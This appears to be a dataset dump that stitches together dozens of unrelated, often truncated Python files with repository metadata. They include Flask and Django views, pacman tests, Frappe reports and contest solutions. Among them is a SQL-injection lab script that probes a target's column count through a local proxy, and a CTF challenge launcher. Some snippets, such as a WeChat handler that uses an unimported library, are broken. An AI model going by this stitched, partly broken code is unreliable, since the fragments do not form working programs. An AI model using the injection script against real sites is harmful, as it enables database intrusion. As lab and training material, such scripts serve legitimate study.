82e4ff6dc42d3dc404dbdb7b4bec0d267af56daa
[ "MIT" ]
null
null
null
from skimage.exposure import is_low_contrast from glob import glob import cv2 if __name__ == '__main__': path_image = "/home/vuong/Downloads/dark_images_and_enhancement/*" list_image = glob(path_image) for img in list_image: image = cv2.imread(img) # gray_image = cv2.cvtColor(image, cv2.CO...
32.142857
70
0.702222
38346b9b61b40fdd334e39f1fc4011dac7d6e237
438
py
Python
pacman-arch/test/pacman/tests/sync990.py
Maxython/pacman-for-termux
3b208eb9274cbfc7a27fca673ea8a58f09ebad47
[ "MIT" ]
23
2021-05-21T19:11:06.000Z
2022-03-31T18:14:20.000Z
source/pacman-6.0.1/test/pacman/tests/sync990.py
Scottx86-64/dotfiles-1
51004b1e2b032664cce6b553d2052757c286087d
[ "Unlicense" ]
11
2021-05-21T12:08:44.000Z
2021-12-21T08:30:08.000Z
source/pacman-6.0.1/test/pacman/tests/sync990.py
Scottx86-64/dotfiles-1
51004b1e2b032664cce6b553d2052757c286087d
[ "Unlicense" ]
1
2021-09-26T08:44:40.000Z
2021-09-26T08:44:40.000Z
self.description = "Sync a package pulling a dependency conflicting with a target" sp1 = pmpkg("pkg1") sp1.depends = ["pkg3"] sp2 = pmpkg("pkg2") sp3 = pmpkg("pkg3") sp3.conflicts = ["pkg2"] for p in sp1, sp2, sp3: self.addpkg2db("sync", p) self.args = "-S %s" % " ".join([p.name for p in (sp1, sp2)]) self.addrul...
21.9
82
0.673516
69dfdc59639ecacf0e677ca8117a18c42d27faa2
241
py
Python
code/project/test/resource/views.py
redxyb/Flask
4ee226501f16eb0fa5cb585dc6bf780005fa8a28
[ "MIT" ]
null
null
null
code/project/test/resource/views.py
redxyb/Flask
4ee226501f16eb0fa5cb585dc6bf780005fa8a28
[ "MIT" ]
null
null
null
code/project/test/resource/views.py
redxyb/Flask
4ee226501f16eb0fa5cb585dc6bf780005fa8a28
[ "MIT" ]
null
null
null
''' Author: xyb Date: 2020-08-10 11:42:16 LastEditTime: 2020-08-10 12:08:34 ''' '''注册resource的路由''' from . import resource_bp @resource_bp.route('/index', methods=['POST', 'GET']) def resource_page(): return 'this is a resource page'
17.214286
53
0.676349
69f1df2f51569e0d7c0c471b8ece41be0ef5e00b
3,216
py
Python
library/core/ptprocess.py
ptphp/PtServer
d590360f853a64e989ba52591548b8a67390f27c
[ "BSD-3-Clause" ]
1
2017-08-09T23:15:15.000Z
2017-08-09T23:15:15.000Z
library/core/ptprocess.py
ptphp/PtServer
d590360f853a64e989ba52591548b8a67390f27c
[ "BSD-3-Clause" ]
null
null
null
library/core/ptprocess.py
ptphp/PtServer
d590360f853a64e989ba52591548b8a67390f27c
[ "BSD-3-Clause" ]
null
null
null
import subprocess from PySide.QtCore import * from .utils import debug,PtSignal cmd_list_port = 'netstat -nao | findstr ":%d.*LISTENING"' cmd_kill_port = "taskkill /PID %d /F" cmd_chek_running = 'tasklist /FO csv /FI "IMAGENAME eq %s"' class PtProcess(QObject): list = [] type = "sys" def _on_output(self):...
33.154639
107
0.497823
2af6d15fa3770b58d1d704174e73abde5adace66
1,037
py
Python
HackerEarth_problems/Seating Arrangement/seating_arrangement.py
gbrls/CompetitiveCode
b6f1b817a655635c3c843d40bd05793406fea9c6
[ "MIT" ]
165
2020-10-03T08:01:11.000Z
2022-03-31T02:42:08.000Z
HackerEarth_problems/Seating Arrangement/seating_arrangement.py
gbrls/CompetitiveCode
b6f1b817a655635c3c843d40bd05793406fea9c6
[ "MIT" ]
383
2020-10-03T07:39:11.000Z
2021-11-20T07:06:35.000Z
HackerEarth_problems/Seating Arrangement/seating_arrangement.py
gbrls/CompetitiveCode
b6f1b817a655635c3c843d40bd05793406fea9c6
[ "MIT" ]
380
2020-10-03T08:05:04.000Z
2022-03-19T06:56:59.000Z
test_cases=int(input()) # Taking the number of test cases for x in range(test_cases): num=int(input()) rem=num%6 # Finding column number if rem==0: col=num//6 else: col=num//6+1 if num%2!=0: if col%2==0: row=7-rem else: r...
18.854545
58
0.412729
2d6713cd9d380fa1219befa9ee7a0080b2b0cd17
344
py
Python
py/jpy-integration/src/test/python/io/deephaven/jpy/integration/pingpongstack.py
devinrsmith/deephaven-core
3a6930046faf1cd556f62a914ce1cfd7860147b9
[ "MIT" ]
55
2021-05-11T16:01:59.000Z
2022-03-30T14:30:33.000Z
py/jpy-integration/src/test/python/io/deephaven/jpy/integration/pingpongstack.py
devinrsmith/deephaven-core
3a6930046faf1cd556f62a914ce1cfd7860147b9
[ "MIT" ]
943
2021-05-10T14:00:02.000Z
2022-03-31T21:28:15.000Z
py/jpy-integration/src/test/python/io/deephaven/jpy/integration/pingpongstack.py
devinrsmith/deephaven-core
3a6930046faf1cd556f62a914ce1cfd7860147b9
[ "MIT" ]
29
2021-05-10T11:33:16.000Z
2022-03-30T21:01:54.000Z
import jpy def ping_pong_java(result, remaining): if not jpy.has_jvm(): raise Exception('Expected JVM to already be running') if remaining <= 0: return result PingPongStack = jpy.get_type('io.deephaven.jpy.integration.PingPongStack') return PingPongStack.pingPongPython('{}(python,{})'.format(result, re...
38.222222
95
0.741279
2d8c6e3cfb915db3f550870daf8b13f5eec035db
472
py
Python
api/models/book_in_library.py
aidun/seite50
761a8e76f9e4473f70a8705dce169d61bf660267
[ "Apache-2.0" ]
null
null
null
api/models/book_in_library.py
aidun/seite50
761a8e76f9e4473f70a8705dce169d61bf660267
[ "Apache-2.0" ]
2
2018-05-11T18:26:18.000Z
2018-05-12T18:49:38.000Z
api/models/book_in_library.py
aidun/seite50
761a8e76f9e4473f70a8705dce169d61bf660267
[ "Apache-2.0" ]
1
2018-10-10T19:52:17.000Z
2018-10-10T19:52:17.000Z
from django.db import models from api.models.user import User from api.models.book import Book # Create your models here. class BookInLibrary(models.Model): id = models.AutoField(primary_key=True) book = models.ManyToManyField(Book, related_name="is_avaiable", blank=False) borrowed_by = models.ManyToOneR...
29.5
80
0.766949
2daddb9a369e63bc842cd7952650784df55055de
11,541
py
Python
src/onegov/fsi/models/course_event.py
politbuero-kampagnen/onegov-cloud
20148bf321b71f617b64376fe7249b2b9b9c4aa9
[ "MIT" ]
null
null
null
src/onegov/fsi/models/course_event.py
politbuero-kampagnen/onegov-cloud
20148bf321b71f617b64376fe7249b2b9b9c4aa9
[ "MIT" ]
null
null
null
src/onegov/fsi/models/course_event.py
politbuero-kampagnen/onegov-cloud
20148bf321b71f617b64376fe7249b2b9b9c4aa9
[ "MIT" ]
null
null
null
import datetime from collections import OrderedDict from uuid import uuid4 from cached_property import cached_property import pytz from icalendar import Calendar as vCalendar from icalendar import Event as vEvent from mailthon.enclosure import PlainText from sedate import utcnow, to_timezone from sqlalchemy import Col...
31.969529
79
0.638246
2dee322b9bba350ad19514d4cb75d35ecffd2828
7,053
py
Python
lale/lib/lale/optimize_suffix.py
vishalbelsare/lale
654ca29ec0234b478d26724a25df28b28f5c0bc0
[ "Apache-2.0" ]
265
2019-08-06T14:45:43.000Z
2022-03-30T23:57:48.000Z
lale/lib/lale/optimize_suffix.py
vishalbelsare/lale
654ca29ec0234b478d26724a25df28b28f5c0bc0
[ "Apache-2.0" ]
467
2019-08-08T02:01:21.000Z
2022-03-25T16:12:00.000Z
lale/lib/lale/optimize_suffix.py
vishalbelsare/lale
654ca29ec0234b478d26724a25df28b28f5c0bc0
[ "Apache-2.0" ]
81
2019-08-07T19:59:31.000Z
2022-03-31T09:11:58.000Z
# Copyright 2019 IBM Corporation # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, ...
32.804651
151
0.574082
faf0a28ccf09580ef60d99646600dbec8fc1b09a
8,351
py
Python
src/comex_stat/assets/models.py
mdicgovbr/2018.2-ComexStat
9eb339e6995585061317d41eabed99b569472806
[ "MIT" ]
null
null
null
src/comex_stat/assets/models.py
mdicgovbr/2018.2-ComexStat
9eb339e6995585061317d41eabed99b569472806
[ "MIT" ]
null
null
null
src/comex_stat/assets/models.py
mdicgovbr/2018.2-ComexStat
9eb339e6995585061317d41eabed99b569472806
[ "MIT" ]
null
null
null
from django.db import models from django.core.validators import RegexValidator from datetime import datetime validate_only_numbers = RegexValidator(regex="^[0-9]+$", message="Somente números são permitidos" ) class SH(models.Model): '''...
45.884615
83
0.65549
35aa995cbbe6b6fe7c53761677336ee11806ac91
1,550
py
Python
WD/Przyklady/Cw4/Cw4_przyklad10b.py
galursa/UWM
b7ab4a275662764a91af6c5bc79da0d98177d0ac
[ "MIT" ]
1
2020-02-29T14:38:33.000Z
2020-02-29T14:38:33.000Z
WD/Przyklady/Cw4/Cw4_przyklad10b.py
galursa/UWM
b7ab4a275662764a91af6c5bc79da0d98177d0ac
[ "MIT" ]
null
null
null
WD/Przyklady/Cw4/Cw4_przyklad10b.py
galursa/UWM
b7ab4a275662764a91af6c5bc79da0d98177d0ac
[ "MIT" ]
null
null
null
class Ksztalty: #definicja konstruktora def __init__(self, x, y): #deklarujemy atrybuty #self wskazuje że chodzi o zmienne właśnie definiowanej klasy self.x=x self.y=y self.opis = "To będzie klasa dla ogólnych kształtów" def poleProstokatu(self): r...
21.527778
70
0.653548
ea9896715590bf768366398deb5bd2f914cd9f09
90
py
Python
agspiel/utils/__init__.py
KingKevin23/agspiel-python-api
33e74ff6bee2f9ce353da757bdb99e929acc1a13
[ "MIT" ]
1
2021-03-09T21:37:41.000Z
2021-03-09T21:37:41.000Z
agspiel/utils/__init__.py
KingKevin23/agspiel-python-api
33e74ff6bee2f9ce353da757bdb99e929acc1a13
[ "MIT" ]
4
2020-11-13T19:34:58.000Z
2021-07-24T16:25:27.000Z
agspiel/utils/__init__.py
KingKevin23/agspiel-python-api
33e74ff6bee2f9ce353da757bdb99e929acc1a13
[ "MIT" ]
1
2020-08-24T14:38:18.000Z
2020-08-24T14:38:18.000Z
# Copyright (c) 2020 | KingKevin23 (@kingkevin023) from .main import * __all__ = [main]
18
51
0.688889
577f10fdf23d305f536617b33cc9b2d3d34056d0
16,828
py
Python
abfahrt/Generator.py
Team-Zugig-zum-Erfolg/InformatiCup
788076ac38bf6d8f462465b7fb96db14d13bed30
[ "MIT" ]
1
2022-01-30T14:30:02.000Z
2022-01-30T14:30:02.000Z
abfahrt/Generator.py
Team-Zugig-zum-Erfolg/InformatiCup
788076ac38bf6d8f462465b7fb96db14d13bed30
[ "MIT" ]
null
null
null
abfahrt/Generator.py
Team-Zugig-zum-Erfolg/InformatiCup
788076ac38bf6d8f462465b7fb96db14d13bed30
[ "MIT" ]
null
null
null
""" This is Generator for generating random input """ import random # This module implements pseudo-random number generators for various distributions. (https://docs.python.org/3/library/random.html) from abfahrt.classes.Passenger import Passenger from abfahrt.classes.Station import Station from abfahrt.classes.Li...
39.044084
230
0.582303
522035385f784fbb921e36d15bb76b32d9c11cf9
450
py
Python
7.8.py
RonaldZhao/NowCoder
935af39835a98efc14157e20df1e3458e02b9803
[ "MIT" ]
null
null
null
7.8.py
RonaldZhao/NowCoder
935af39835a98efc14157e20df1e3458e02b9803
[ "MIT" ]
null
null
null
7.8.py
RonaldZhao/NowCoder
935af39835a98efc14157e20df1e3458e02b9803
[ "MIT" ]
null
null
null
""" 有一棵二叉树,请设计一个算法判断这棵二叉树是否为平衡二叉树。 给定二叉树的根结点root,请返回一个bool值,代表这棵树是否为平衡二叉树。 """ class TreeNode: def __init__(self, x): self.val = x self.left = None self.right = None class CheckBalance: def check(self, root): if root is None: return True def chk(root): ...
16.666667
39
0.564444
df1b15069554e33976c41199544c3b484215cb9a
58
py
Python
Beginner/03. Python/calender.py
ankita080208/Hacktoberfest
2be849e89285260e7b6672f42979943ad6bbec78
[ "MIT" ]
1
2021-10-06T13:55:02.000Z
2021-10-06T13:55:02.000Z
Beginner/03. Python/calender.py
ankita080208/Hacktoberfest
2be849e89285260e7b6672f42979943ad6bbec78
[ "MIT" ]
null
null
null
Beginner/03. Python/calender.py
ankita080208/Hacktoberfest
2be849e89285260e7b6672f42979943ad6bbec78
[ "MIT" ]
null
null
null
from calendar import calendar y = 2020 print(calendar(y))
14.5
29
0.775862
89dda2a79538e59c24039ebd054cc25444b12175
5,851
py
Python
history/Others/Python/files/busziki.py
hengg/i-know-nothing-about-js
2dc1af3303a8565dd5599f8803d4454121bfdbec
[ "MIT" ]
2
2020-08-07T15:31:19.000Z
2021-02-05T16:40:36.000Z
history/Others/Python/files/busziki.py
hengg/js-walker
2dc1af3303a8565dd5599f8803d4454121bfdbec
[ "MIT" ]
8
2020-04-07T00:56:00.000Z
2020-09-15T02:21:42.000Z
history/Others/Python/files/busziki.py
hengg/i-know-nothing-about-js
2dc1af3303a8565dd5599f8803d4454121bfdbec
[ "MIT" ]
null
null
null
# ლↀѡↀლcoding: utf-8ლↀѡↀლ __author__ = 'wangliang' import MySQLdb import time class Handle(tornado.web.RequestHandler): def POST(self): data = ET.fromstring(body) ToUserName = data.find('ToUserName').text FromUserName = data.find('FromUserName').text MsgType = data.find('MsgType')...
37.031646
260
0.561442
61569a395176e05e494349c216e0207bd06a6e7f
293
py
Python
Trees/prefix_trees/dict.py
CandleStein/VAlg
43aecdd351954d316f132793cf069b70bf2e5cc2
[ "MIT" ]
null
null
null
Trees/prefix_trees/dict.py
CandleStein/VAlg
43aecdd351954d316f132793cf069b70bf2e5cc2
[ "MIT" ]
null
null
null
Trees/prefix_trees/dict.py
CandleStein/VAlg
43aecdd351954d316f132793cf069b70bf2e5cc2
[ "MIT" ]
1
2020-09-25T18:31:34.000Z
2020-09-25T18:31:34.000Z
def check(word): with open("Resources/words_alpha.txt") as f: datafile = f.readlines() for line in datafile: line = line[:-1] if word == line: return True return False if __name__ == "__main__": print(check("lugubrious"))
20.928571
48
0.542662
61769f82b9a5c25b12370bd04f256f505f385c89
1,575
py
Python
frappe-bench/apps/erpnext/erpnext/healthcare/report/lab_test_report/lab_test_report.py
Semicheche/foa_frappe_docker
a186b65d5e807dd4caf049e8aeb3620a799c1225
[ "MIT" ]
null
null
null
frappe-bench/apps/erpnext/erpnext/healthcare/report/lab_test_report/lab_test_report.py
Semicheche/foa_frappe_docker
a186b65d5e807dd4caf049e8aeb3620a799c1225
[ "MIT" ]
null
null
null
frappe-bench/apps/erpnext/erpnext/healthcare/report/lab_test_report/lab_test_report.py
Semicheche/foa_frappe_docker
a186b65d5e807dd4caf049e8aeb3620a799c1225
[ "MIT" ]
null
null
null
# Copyright (c) 2016, ESS # License: See license.txt from __future__ import unicode_literals import frappe from frappe import msgprint, _ def execute(filters=None): if not filters: filters = {} lab_test_list = get_lab_test(filters) columns = get_columns() if not lab_test_list: msgprint(_("No record found")) ...
26.694915
145
0.704762
dce52da35b3a6415d56eb8028fddce8db96cd2f7
1,498
py
Python
Union/2021/misc/sauerbraten/launcher.py
mystickev/ctf-archives
89e99a5cd5fb6b2923cad3fe1948d3ff78649b4e
[ "MIT" ]
1
2021-11-02T20:53:58.000Z
2021-11-02T20:53:58.000Z
Union/2021/misc/sauerbraten/launcher.py
ruhan-islam/ctf-archives
8c2bf6a608c821314d1a1cfaa05a6cccef8e3103
[ "MIT" ]
null
null
null
Union/2021/misc/sauerbraten/launcher.py
ruhan-islam/ctf-archives
8c2bf6a608c821314d1a1cfaa05a6cccef8e3103
[ "MIT" ]
1
2021-12-19T11:06:24.000Z
2021-12-19T11:06:24.000Z
#!/usr/bin/env python3.8 import random import requests import socket import string import subprocess from contextlib import closing def get_free_port(): with closing(socket.socket(socket.AF_INET, socket.SOCK_STREAM)) as s: s.bind(('', 0)) s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) ...
26.75
84
0.592123
9f3658bbced8eaa2a25287bfb29e48d8afeef02b
818
py
Python
Sprint-Challenge--Algorithms/Short-Answer/runtimes.py
tobias-fyi/02_algorithms
ab1a8a07c3560ad66712992e3af906e8fd316fe2
[ "MIT" ]
null
null
null
Sprint-Challenge--Algorithms/Short-Answer/runtimes.py
tobias-fyi/02_algorithms
ab1a8a07c3560ad66712992e3af906e8fd316fe2
[ "MIT" ]
8
2020-03-24T17:47:23.000Z
2022-03-12T00:33:21.000Z
cs/lambda_cs/02_algorithms/Sprint-Challenge--Algorithms/Short-Answer/runtimes.py
tobias-fyi/vela
b0b3d3c6dc3fa397c8c7a492098a02cf75e0ff82
[ "MIT" ]
null
null
null
""" Algorithms :: Spring challenge - analysis of algorithms Using a loop to calculate runtimes for increasing number of inputs. """ # %% import time # %% # a) for n in range(1, 100000, 1000): start_time = time.time() a = 0 while a < n * n * n: a = a + n * n end_time = time.time() print(n,...
16.039216
67
0.530562
9fa63aafcf1360004ab17fa9719cb928a8ca1c00
833
py
Python
src/main/python/server/app.py
eecevit-tgm/sew_crud
6e95929639ec83cc540a3d959d4ac68996bff300
[ "MIT" ]
null
null
null
src/main/python/server/app.py
eecevit-tgm/sew_crud
6e95929639ec83cc540a3d959d4ac68996bff300
[ "MIT" ]
null
null
null
src/main/python/server/app.py
eecevit-tgm/sew_crud
6e95929639ec83cc540a3d959d4ac68996bff300
[ "MIT" ]
null
null
null
from flask import Flask, jsonify,request from flask_cors import CORS from main.python.server import jreader data = jreader # configuration DEBUG = True # instantiate the app app = Flask(__name__) app.config.from_object(__name__) # enable CORS CORS(app) User = data.reader() # sanity check route @app.route('/user...
19.833333
50
0.636255
2c4da81321522cf2f757d7bfc623fbececb345ba
6,186
py
Python
frappe-bench/apps/erpnext/erpnext/hr/doctype/salary_structure/test_salary_structure.py
Semicheche/foa_frappe_docker
a186b65d5e807dd4caf049e8aeb3620a799c1225
[ "MIT" ]
null
null
null
frappe-bench/apps/erpnext/erpnext/hr/doctype/salary_structure/test_salary_structure.py
Semicheche/foa_frappe_docker
a186b65d5e807dd4caf049e8aeb3620a799c1225
[ "MIT" ]
null
null
null
frappe-bench/apps/erpnext/erpnext/hr/doctype/salary_structure/test_salary_structure.py
Semicheche/foa_frappe_docker
a186b65d5e807dd4caf049e8aeb3620a799c1225
[ "MIT" ]
null
null
null
# Copyright (c) 2015, Frappe Technologies Pvt. Ltd. and Contributors and Contributors # See license.txt from __future__ import unicode_literals import frappe import unittest import erpnext from frappe.utils.make_random import get_random from frappe.utils import nowdate, add_days, add_years, getdate, add_months from er...
31.886598
138
0.682509
2cc027bc2e7cf03b62711fdda0429b4627faff82
3,105
py
Python
alarmmonitor.py
stg93/blaulichtsms_einsatzmonitor
db595f535ece0f944ec70a9eac70af7b667f63ef
[ "MIT" ]
18
2017-07-24T18:08:04.000Z
2021-05-06T06:50:22.000Z
alarmmonitor.py
stg93/blaulichtsms_einsatzmonitor
db595f535ece0f944ec70a9eac70af7b667f63ef
[ "MIT" ]
19
2018-09-25T20:42:17.000Z
2021-11-23T21:26:18.000Z
alarmmonitor.py
stg93/blaulichtsms_einsatzmonitor
db595f535ece0f944ec70a9eac70af7b667f63ef
[ "MIT" ]
11
2018-05-05T04:49:41.000Z
2022-02-18T17:33:13.000Z
import logging import time from sched import scheduler from chromiumbrowsercontroller import ChromiumBrowserController class AlarmMonitor: """Controls the application's execution flow.""" def __init__(self, polling_interval, send_errors, send_starts, blaulichtsms_controller, hdmi_cec_contro...
40.324675
104
0.67343
6494ad562c41ce1690cc79b6027574edd6c235c2
2,606
py
Python
tests/onegov/core/test_cache.py
politbuero-kampagnen/onegov-cloud
20148bf321b71f617b64376fe7249b2b9b9c4aa9
[ "MIT" ]
null
null
null
tests/onegov/core/test_cache.py
politbuero-kampagnen/onegov-cloud
20148bf321b71f617b64376fe7249b2b9b9c4aa9
[ "MIT" ]
null
null
null
tests/onegov/core/test_cache.py
politbuero-kampagnen/onegov-cloud
20148bf321b71f617b64376fe7249b2b9b9c4aa9
[ "MIT" ]
null
null
null
from chameleon import PageTemplate from onegov.core import cache from onegov.core.framework import Framework from onegov.core.utils import Bunch CALL_COUNT = 0 # cannot be pickled by the builtin pickler class Point(object): __slots__ = ('x', 'y') def __init__(self, x, y): self.x = x self.y...
27.431579
79
0.68112
377e265747feee4cdf86ac507f3f68c46b5bccec
92
py
Python
2014/09/abortion-vs-laws/graphic_config.py
nprapps/graphics-archive
97b0ef326b46a959df930f5522d325e537f7a655
[ "FSFAP" ]
14
2015-05-08T13:41:51.000Z
2021-02-24T12:34:55.000Z
2014/09/abortion-vs-laws/graphic_config.py
nprapps/graphics-archive
97b0ef326b46a959df930f5522d325e537f7a655
[ "FSFAP" ]
null
null
null
2014/09/abortion-vs-laws/graphic_config.py
nprapps/graphics-archive
97b0ef326b46a959df930f5522d325e537f7a655
[ "FSFAP" ]
7
2015-04-04T04:45:54.000Z
2021-02-18T11:12:48.000Z
#!/usr/bin/env python COPY_GOOGLE_DOC_KEY = '1JdRuAiNi9B7Gkbt7I8AwoqZMpiBqXUw_L-4L16-ipY0'
23
68
0.826087
37b60ee145f57676f93bae7988243c6ca4b9ad8d
170
py
Python
Calendar/views.py
NAL0/nalbt
c411ead60fac8923e960e67f4bbad5c7aeffc614
[ "MIT" ]
null
null
null
Calendar/views.py
NAL0/nalbt
c411ead60fac8923e960e67f4bbad5c7aeffc614
[ "MIT" ]
null
null
null
Calendar/views.py
NAL0/nalbt
c411ead60fac8923e960e67f4bbad5c7aeffc614
[ "MIT" ]
null
null
null
from django.shortcuts import render import calendar import os # Create your views here. def index(request): return render(request, 'Calendar/Calendar.html')
21.25
60
0.741176
03de755e91c46b6d19c30f0fe25847d6a8af70f3
317
py
Python
inn_checker/inn_check/models.py
bmu0/inn_checker
3c5f736c179af5c3a4bb80a5c403aee0969ea5e9
[ "MIT" ]
null
null
null
inn_checker/inn_check/models.py
bmu0/inn_checker
3c5f736c179af5c3a4bb80a5c403aee0969ea5e9
[ "MIT" ]
null
null
null
inn_checker/inn_check/models.py
bmu0/inn_checker
3c5f736c179af5c3a4bb80a5c403aee0969ea5e9
[ "MIT" ]
null
null
null
from django.db import models class INNModel(models.Model): INN = models.IntegerField('ИНН', ) pub_date = models.DateTimeField('Дата и время', auto_now_add=True) is_correct = models.CharField('Корректность', max_length=20) IP = models.CharField('IP-адрес', max_length=15, default='999.999.999.999')
31.7
79
0.722397
45a25257f8f54b34551e8340a9ea274b87872f70
538
py
Python
lib/python/qmk/comment_remover.py
fzf/qmk_toolbox
10d6b425bd24b45002555022baf16fb11254118b
[ "MIT" ]
2
2021-04-16T23:29:01.000Z
2021-04-17T02:26:22.000Z
lib/python/qmk/comment_remover.py
fzf/qmk_toolbox
10d6b425bd24b45002555022baf16fb11254118b
[ "MIT" ]
null
null
null
lib/python/qmk/comment_remover.py
fzf/qmk_toolbox
10d6b425bd24b45002555022baf16fb11254118b
[ "MIT" ]
null
null
null
"""Removes C/C++ style comments from text. Gratefully adapted from https://stackoverflow.com/a/241506 """ import re comment_pattern = re.compile(r'//.*?$|/\*.*?\*/|\'(?:\\.|[^\\\'])*\'|"(?:\\.|[^\\"])*"', re.DOTALL | re.MULTILINE) def _comment_stripper(match): """Removes C/C++ style comments from a regex match....
25.619048
114
0.607807
45d642cf079908964e73e5c1e92413f25461c423
3,120
py
Python
Co-Simulation/Sumo/sumo-1.7.0/tools/visualization/plot_summary.py
uruzahe/carla
940c2ab23cce1eda1ef66de35f66b42d40865fb1
[ "MIT" ]
4
2020-11-13T02:35:56.000Z
2021-03-29T20:15:54.000Z
Co-Simulation/Sumo/sumo-1.7.0/tools/visualization/plot_summary.py
uruzahe/carla
940c2ab23cce1eda1ef66de35f66b42d40865fb1
[ "MIT" ]
9
2020-12-09T02:12:39.000Z
2021-02-18T00:15:28.000Z
Co-Simulation/Sumo/sumo-1.7.0/tools/visualization/plot_summary.py
uruzahe/carla
940c2ab23cce1eda1ef66de35f66b42d40865fb1
[ "MIT" ]
1
2020-11-20T19:31:26.000Z
2020-11-20T19:31:26.000Z
#!/usr/bin/env python # Eclipse SUMO, Simulation of Urban MObility; see https://eclipse.org/sumo # Copyright (C) 2013-2020 German Aerospace Center (DLR) and others. # This program and the accompanying materials are made available under the # terms of the Eclipse Public License 2.0 which is available at # https://www.ec...
35.862069
87
0.675321
b372f91f64f8bc9c87a5b63d71bc9797d91c41ee
945
py
Python
src/onegov/wtfs/forms/payment_type.py
politbuero-kampagnen/onegov-cloud
20148bf321b71f617b64376fe7249b2b9b9c4aa9
[ "MIT" ]
null
null
null
src/onegov/wtfs/forms/payment_type.py
politbuero-kampagnen/onegov-cloud
20148bf321b71f617b64376fe7249b2b9b9c4aa9
[ "MIT" ]
null
null
null
src/onegov/wtfs/forms/payment_type.py
politbuero-kampagnen/onegov-cloud
20148bf321b71f617b64376fe7249b2b9b9c4aa9
[ "MIT" ]
null
null
null
from onegov.form import Form from wtforms import FloatField from wtforms.validators import InputRequired class PaymentTypesForm(Form): @staticmethod def get_form_class(model, request): form = PaymentTypesForm for payment_type in model.query().all(): field = FloatField( ...
31.5
75
0.626455
ff5b46dbce67bd7d0c10e4f3ae5577a649000c12
870
py
Python
site/public/courses/BEW-1.1/Lessons/07-More-Testing/demo/app.py
KitsuneNoctus/makeschool
5eec1a18146abf70bb78b4ee3d301f6a43c9ede4
[ "MIT" ]
1
2021-08-24T20:22:19.000Z
2021-08-24T20:22:19.000Z
site/public/courses/BEW-1.1/Lessons/07-More-Testing/demo/app.py
KitsuneNoctus/makeschool
5eec1a18146abf70bb78b4ee3d301f6a43c9ede4
[ "MIT" ]
null
null
null
site/public/courses/BEW-1.1/Lessons/07-More-Testing/demo/app.py
KitsuneNoctus/makeschool
5eec1a18146abf70bb78b4ee3d301f6a43c9ede4
[ "MIT" ]
null
null
null
import requests from flask import Flask, render_template, request app = Flask(__name__) @app.route('/weather') def weather_form(): return """ <form action="/weather_results" method="GET"> Type in your city: <input type="text" name="city"><br> <input type="submit" value="Subm...
25.588235
67
0.604598
4444746c8b4146315c7aadb9ee4a0f36add828c5
1,036
py
Python
SQLi/Lab_03/script.py
Eutectico/Various-IT-security-learning-Labs
0817cdb1d4004eaf070a88e54b998a1c49af500a
[ "MIT" ]
null
null
null
SQLi/Lab_03/script.py
Eutectico/Various-IT-security-learning-Labs
0817cdb1d4004eaf070a88e54b998a1c49af500a
[ "MIT" ]
null
null
null
SQLi/Lab_03/script.py
Eutectico/Various-IT-security-learning-Labs
0817cdb1d4004eaf070a88e54b998a1c49af500a
[ "MIT" ]
null
null
null
#!/usr/bin/python3 import requests import sys import urllib3 urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) proxies = {'http': 'http://127.0.0.1:8080', 'https': 'https://127.0.0.1:8080'} def exploit_sqli_column_number(url): path = "filter?category=Gifts" for i in range(1,50): sql...
30.470588
81
0.600386
445af1fe1da9cabffdd90b5ab4b721bd775ab2b3
606
py
Python
Curso_Python/Secao2-Python-Basico-Logica-Programacao/43_44_validador_cpf/validador_cpf.py
pedrohd21/Cursos-Feitos
b223aad83867bfa45ad161d133e33c2c200d42bd
[ "MIT" ]
null
null
null
Curso_Python/Secao2-Python-Basico-Logica-Programacao/43_44_validador_cpf/validador_cpf.py
pedrohd21/Cursos-Feitos
b223aad83867bfa45ad161d133e33c2c200d42bd
[ "MIT" ]
null
null
null
Curso_Python/Secao2-Python-Basico-Logica-Programacao/43_44_validador_cpf/validador_cpf.py
pedrohd21/Cursos-Feitos
b223aad83867bfa45ad161d133e33c2c200d42bd
[ "MIT" ]
null
null
null
cpf = '16899535009' add_uma_string = 0 while add_uma_string <= 1: soma_cpf = 0 reverso = 10 + add_uma_string for i in range(0, 9 + add_uma_string): soma_cpf += (reverso * int(cpf[i])) reverso -= 1 #todo: Primeiro numero cpf calculo = 11 - (soma_cpf % 11) if calculo > 9: ...
22.444444
43
0.590759
a6bf28ac27c95e515a826b8df1d00ad3ca253dd0
1,420
py
Python
INBa/2014/MorenkoAA/MorenkoAA_5_14.py
YukkaSarasti/pythonintask
eadf4245abb65f4400a3bae30a4256b4658e009c
[ "Apache-2.0" ]
null
null
null
INBa/2014/MorenkoAA/MorenkoAA_5_14.py
YukkaSarasti/pythonintask
eadf4245abb65f4400a3bae30a4256b4658e009c
[ "Apache-2.0" ]
null
null
null
INBa/2014/MorenkoAA/MorenkoAA_5_14.py
YukkaSarasti/pythonintask
eadf4245abb65f4400a3bae30a4256b4658e009c
[ "Apache-2.0" ]
null
null
null
# Задача 5, Вариант 14 # Напишите программу, которая бы при запуске случайным образом отображала название одной из двадцати башен Московского кремля. # Моренко А.А. # 16.03.2016 import random print('Программа случайным образом отображает название одной из двадцати названий башен Кремля') feat = random.randi...
27.843137
127
0.649296
5b3586bdd79b250545fd9f9d574e312149081d9b
3,837
py
Python
skill/intents.py
Lanseuo/luftdaten-skill
4d11a80d627d86b5afcd8a9ae1d7ccac3659b35a
[ "MIT" ]
1
2019-03-25T07:18:13.000Z
2019-03-25T07:18:13.000Z
skill/intents.py
Lanseuo/luftdaten-skill
4d11a80d627d86b5afcd8a9ae1d7ccac3659b35a
[ "MIT" ]
null
null
null
skill/intents.py
Lanseuo/luftdaten-skill
4d11a80d627d86b5afcd8a9ae1d7ccac3659b35a
[ "MIT" ]
null
null
null
from . import db, luftdaten_service, utils, alexa_service from .helpers import answer, question, dialog_delegate, dialog_elicit def launch(request, session, context): user = db.get_user(session["user"]["userId"]) card = None if user.get("sensor_id"): sensor_id = int(user["sensor_id"]) val...
39.153061
111
0.610373
7509e4cbe0eda7dba1e519aa2d450a6571a3069b
754
py
Python
deal_destFile.py
pku601/LDA
a4bcd3e40ed2920dc29bf0270eab05b245ea003e
[ "Apache-2.0" ]
null
null
null
deal_destFile.py
pku601/LDA
a4bcd3e40ed2920dc29bf0270eab05b245ea003e
[ "Apache-2.0" ]
null
null
null
deal_destFile.py
pku601/LDA
a4bcd3e40ed2920dc29bf0270eab05b245ea003e
[ "Apache-2.0" ]
